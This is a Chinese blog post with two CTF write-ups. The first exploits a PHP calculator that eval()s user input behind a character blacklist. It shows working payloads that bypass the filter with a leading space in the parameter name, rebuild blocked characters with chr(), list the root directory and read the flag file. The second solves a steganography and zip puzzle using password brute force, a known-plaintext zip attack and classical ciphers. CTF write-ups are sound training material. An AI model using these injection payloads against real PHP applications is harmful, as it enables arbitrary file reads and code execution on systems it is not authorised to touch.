CTF 每日一题-Day10


D10-T1 RoarCTF Easy Calc

点进去是一个简单的计算器

输入1+1返回2

输入{{1+1}}提示无法计算

看下源代码

    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

调用了calc.php,访问看一下

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

使用了eval()意味着我们只要能绕过blacklist就能执行任意命令。

测试了一下只能输入运算符和数字,怎么办....

查阅资料发现只要在num前加个空格就可以绕过waf对num的数字检测了

poc=/calc.php?%20num=phpinfo()

Exp:

payload=/calc.php?%20num=var_dump(scandir(chr(47))) //"/" ""被ban,用chr绕过

1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

payload=var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

flag{ec5c334b-a625-4a44-bede-7fb5dd20ef87} int(43)

参考资料

https://www.freebuf.com/articles/web/213359.html

D10-T2 我们的秘密是绿色的

好吧这个题目暗示Our Secret隐写工具

而最关键是密码,

“green”不行,“绿色”也不行....

好吧看了wp注意到图片上有绿色的数字,合起来就是“0405111218192526”,fo了

拿到一个zip

注释提示

你知道coffee的生日是多少么~~~

没别的信息了,考虑直接生日爆破攻击

19950822

解码又是个zip...

发现两个压缩包都有readme.txt,且解压缩后大小相同

试一下把readme.txt压缩一下

CRC32值相同

考虑zip明文攻击

得到密钥Y29mZmVl

解压又是一个压缩包....

这次没有提示条件了

看看是不是伪加密,修复一下全局方式位标记得到flag内容

qddpqwnpcplen%prqwn_{_zz*[email protected]}

这个{}的位置看起来就很像栅栏加密

但是没有ssctf{}啊

考虑凯撒(11)+栅栏加密(6),最后得到

flag{[email protected]%coffee_*}

好一个俄罗斯千层套娃.....

声明:Eki's Blog|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - CTF 每日一题-Day10


A Dreamer Full of Dream